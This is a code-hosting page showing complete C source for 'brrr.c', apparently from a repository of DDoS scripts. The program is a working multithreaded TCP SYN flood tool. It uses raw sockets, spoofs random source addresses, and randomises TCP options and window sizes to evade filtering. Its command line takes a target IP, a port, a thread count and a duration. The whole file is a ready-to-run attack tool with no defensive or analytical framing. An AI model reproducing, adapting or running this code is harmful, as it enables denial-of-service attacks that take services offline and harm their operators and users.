Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/DDOS Scripts/L4/TCP/brrr.c
4565 views
1
/*
2
chilling on the weekend like usual, watching spongebob and scoobydobedo
3
*/
4
5
#include <unistd.h>
6
#include <time.h>
7
#include <sys/types.h>
8
#include <sys/socket.h>
9
#include <sys/ioctl.h>
10
#include <string.h>
11
#include <stdlib.h>
12
#include <stdio.h>
13
#include <pthread.h>
14
#include <netinet/tcp.h>
15
#include <netinet/ip.h>
16
#include <netinet/in.h>
17
#include <netinet/if_ether.h>
18
#include <netdb.h>
19
#include <net/if.h>
20
#include <arpa/inet.h>
21
#define MAX_PACKET_SIZE 4096
22
#define PHI 0x9e3779b9
23
static unsigned long int Q[4096], c = 362436;
24
static unsigned int floodport;
25
volatile int limiter;
26
volatile unsigned int pps;
27
volatile unsigned int sleeptime = 100;
28
void init_rand(unsigned long int x)
29
{
30
int i;
31
Q[0] = x;
32
Q[1] = x + PHI;
33
Q[2] = x + PHI + PHI;
34
for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
35
}
36
unsigned long int rand_cmwc(void)
37
{
38
unsigned long long int t, a = 18782LL;
39
static unsigned long int i = 4095;
40
unsigned long int x, r = 0xfffffffe;
41
i = (i + 1) & 4095;
42
t = a * Q[i] + c;
43
c = (t >> 32);
44
x = t + c;
45
if (x < c) {
46
x++;
47
c++;
48
}
49
return (Q[i] = r - x);
50
}
51
int randnum(int min_num, int max_num)
52
{
53
int result = 0, low_num = 0, hi_num = 0;
54
55
if (min_num < max_num)
56
{
57
low_num = min_num;
58
hi_num = max_num + 1;
59
} else {
60
low_num = max_num + 1;
61
hi_num = min_num;
62
}
63
64
65
result = (rand_cmwc() % (hi_num - low_num)) + low_num;
66
return result;
67
}
68
unsigned short csum (unsigned short *buf, int count)
69
{
70
register unsigned long sum = 0;
71
while( count > 1 ) { sum += *buf++; count -= 2; }
72
if(count > 0) { sum += *(unsigned char *)buf; }
73
while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
74
return (unsigned short)(~sum);
75
}
76
unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph, int pipisize) {
77
struct tcp_pseudo
78
{
79
unsigned long src_addr;
80
unsigned long dst_addr;
81
unsigned char zero;
82
unsigned char proto;
83
unsigned short length;
84
} pseudohead;
85
unsigned short total_len = iph->tot_len;
86
pseudohead.src_addr=iph->saddr;
87
pseudohead.dst_addr=iph->daddr;
88
pseudohead.zero=0;
89
pseudohead.proto=IPPROTO_TCP;
90
pseudohead.length=htons(sizeof(struct tcphdr) + pipisize);
91
int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr) + pipisize;
92
unsigned short *tcp = malloc(totaltcp_len);
93
memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
94
memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr) + pipisize);
95
unsigned short output = csum(tcp,totaltcp_len);
96
free(tcp);
97
return output;
98
}
99
void setup_ip_header(struct iphdr *iph)
100
{
101
iph->ihl = 5;
102
iph->version = 4;
103
iph->tos = 0;
104
iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr) + 24;
105
iph->id = htonl(54321);
106
iph->frag_off = htons(0x4000);
107
iph->ttl = MAXTTL;
108
iph->protocol = IPPROTO_TCP;
109
iph->check = 0;
110
iph->saddr = inet_addr("192.168.3.100");
111
}
112
void setup_tcp_header(struct tcphdr *tcph)
113
{
114
tcph->source = htons(5678);
115
tcph->check = 0;
116
memcpy((void *)tcph + sizeof(struct tcphdr), "\x02\x04\x05\x14\x01\x03\x03\x07\x01\x01\x08\x0a\x32\xb7\x31\x58\x00\x00\x00\x00\x04\x02\x00\x00", 24); // tcp options
117
tcph->syn = 1;
118
tcph->window = htons(64240);
119
tcph->doff = ((sizeof (struct tcphdr)) + 24)/4;
120
}
121
void *flood(void *par1)
122
{
123
char *td = (char *)par1;
124
char datagram[MAX_PACKET_SIZE];
125
struct iphdr *iph = (struct iphdr *)datagram;
126
struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
127
struct sockaddr_in sin;
128
sin.sin_family = AF_INET;
129
sin.sin_port = htons(floodport);
130
sin.sin_addr.s_addr = inet_addr(td);
131
int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
132
if(s < 0){
133
fprintf(stderr, "Could not open raw socket.\n");
134
exit(-1);
135
}
136
memset(datagram, 0, MAX_PACKET_SIZE);
137
setup_ip_header(iph);
138
setup_tcp_header(tcph);
139
tcph->dest = htons(floodport);
140
iph->daddr = sin.sin_addr.s_addr;
141
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
142
int tmp = 1;
143
const int *val = &tmp;
144
if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
145
fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
146
exit(-1);
147
}
148
init_rand(time(NULL));
149
register unsigned int i;
150
i = 0;
151
while(1){
152
tcph->check = 0;
153
tcph->seq = htonl(rand ());
154
tcph->doff = ((sizeof (struct tcphdr)) + 24)/4;
155
tcph->dest = htons(floodport);
156
iph->ttl = randnum(100,130);
157
iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
158
iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
159
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
160
tcph->source = htons(rand_cmwc() & 0xFFFF);
161
tcph->dest = htons(floodport);
162
tcph->check = tcpcsum(iph, tcph, 24);
163
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
164
int windows[11] = {29200, 64240, 65535, 32855, 18783, 30201, 35902, 28400, 8192, 6230, 65320};
165
//int ctos[3] = {0, 40, 72};
166
//iph->tos = ctos[randnum(0,2)];
167
char stronka[] = "\x02\x04\x05\x14\x01\x03\x03\x07\x01\x01\x08\x0a\x32\xb7\x31\x58\x00\x00\x00\x00\x04\x02\x00\x00";
168
int mssvalues[9] = {20, 52, 160, 180, 172, 19, 109, 59, 113};
169
stronka[3] = mssvalues[rand() % 9];//mss
170
stronka[7] = randnum(6, 11);//ws scale
171
stronka[12] = randnum(1, 250);//tss
172
stronka[13] = randnum(1, 250);
173
stronka[14] = randnum(1, 250);
174
stronka[15] = randnum(1, 250);
175
tcph->window = htons(windows[rand() % 11]);
176
const char *newpayload = stronka;
177
memcpy((void *)tcph + sizeof(struct tcphdr), newpayload, 24);
178
pps++;
179
if(i >= limiter)
180
{
181
i = 0;
182
usleep(sleeptime);
183
}
184
i++;
185
}
186
}
187
int main(int argc, char *argv[ ])
188
{
189
if(argc < 6){
190
fprintf(stderr, "tcpipi hehehehehe!\n");
191
fprintf(stdout, "Usage: %s <target IP> <port> <number threads to use> <throttle, -1 for no limit> <time>\n", argv[0]);
192
exit(-1);
193
}
194
fprintf(stdout, "Setting up Sockets...\n");
195
int num_threads = atoi(argv[3]);
196
floodport = atoi(argv[2]);
197
int maxpps = atoi(argv[4]);
198
limiter = 0;
199
pps = 0;
200
pthread_t thread[num_threads];
201
int multiplier = 24;
202
int i;
203
for(i = 0;i<num_threads;i++){
204
pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
205
}
206
fprintf(stdout, "Starting Flood...\n");
207
for(i = 0;i<(atoi(argv[5])*multiplier);i++)
208
{
209
usleep((1000/multiplier)*1000);
210
if((pps*multiplier) > maxpps)
211
{
212
if(1 > limiter)
213
{
214
sleeptime+=100;
215
} else {
216
limiter--;
217
}
218
} else {
219
limiter++;
220
if(sleeptime > 25)
221
{
222
sleeptime-=25;
223
} else {
224
sleeptime = 0;
225
}
226
}
227
pps = 0;
228
}
229
return 0;
230
}
231